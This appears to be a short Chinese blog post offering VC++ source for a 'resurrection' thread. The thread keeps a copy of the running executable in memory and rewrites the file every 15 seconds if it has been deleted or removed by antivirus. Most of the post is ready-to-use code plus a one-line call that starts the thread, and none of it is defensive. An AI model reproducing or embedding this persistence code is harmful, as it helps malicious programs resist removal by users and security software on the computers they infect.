单EXE复活代码(VC++)

代码

DWORD WINAPI ShieldThread()
{
char FilePath[MAX_PATH];
HANDLE hFile;
HANDLE hSearch;
void* Mem;
int Size;

DWORD BytesRead;
WIN32_FIND_DATA FileData;
char ProtectKey1[MAX_PATH*2],ProtectKey2[MAX_PATH*2];
__try
{
GetModuleFileNameA(NULL,FilePath,MAX_PATH); //获取自身路径
hFile =CreateFileA(FilePath,GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); //打开自身
Size =GetFileSize(hFile,0); //获取自身大小
Mem =VirtualAlloc(0,Size,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); //申请自身内存,大小为自身大小
ReadFile(hFile,Mem,Size,&BytesRead,0); //获取自身的CODE
CloseHandle(hFile); //关闭句柄
while(1)
{
hSearch =FindFirstFile(FilePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE) //如果自身不存在,说明自身被删被杀了
{
hFile=CreateFileA(FilePath,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); //创建文件句柄
WriteFile(hFile,Mem,Size,&BytesRead,0); //写入刚才获取到的自身的Code
CloseHandle(hFile); //关闭句柄

//完成复活
}
FindClose(hSearch);
Sleep(15000); //检测周期15秒
}
}
__finally
{

CloseHandle(hFile);
FindClose(hSearch);
}
return 0;
}

调用

CreateThread(0,0,(LPTHREAD_START_ROUTINE)ShieldThread,0,0,0);

给TA打赏
共{{data.count}}人
人已打赏
技术文档

Win7系统开启无线WIFI热点功能 让手机笔记本共享上网

2016-12-10 16:29:36

技术文档

在路由器上找到宽带上网帐号密码

2016-12-11 16:46:22

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
有新私信 私信列表
搜索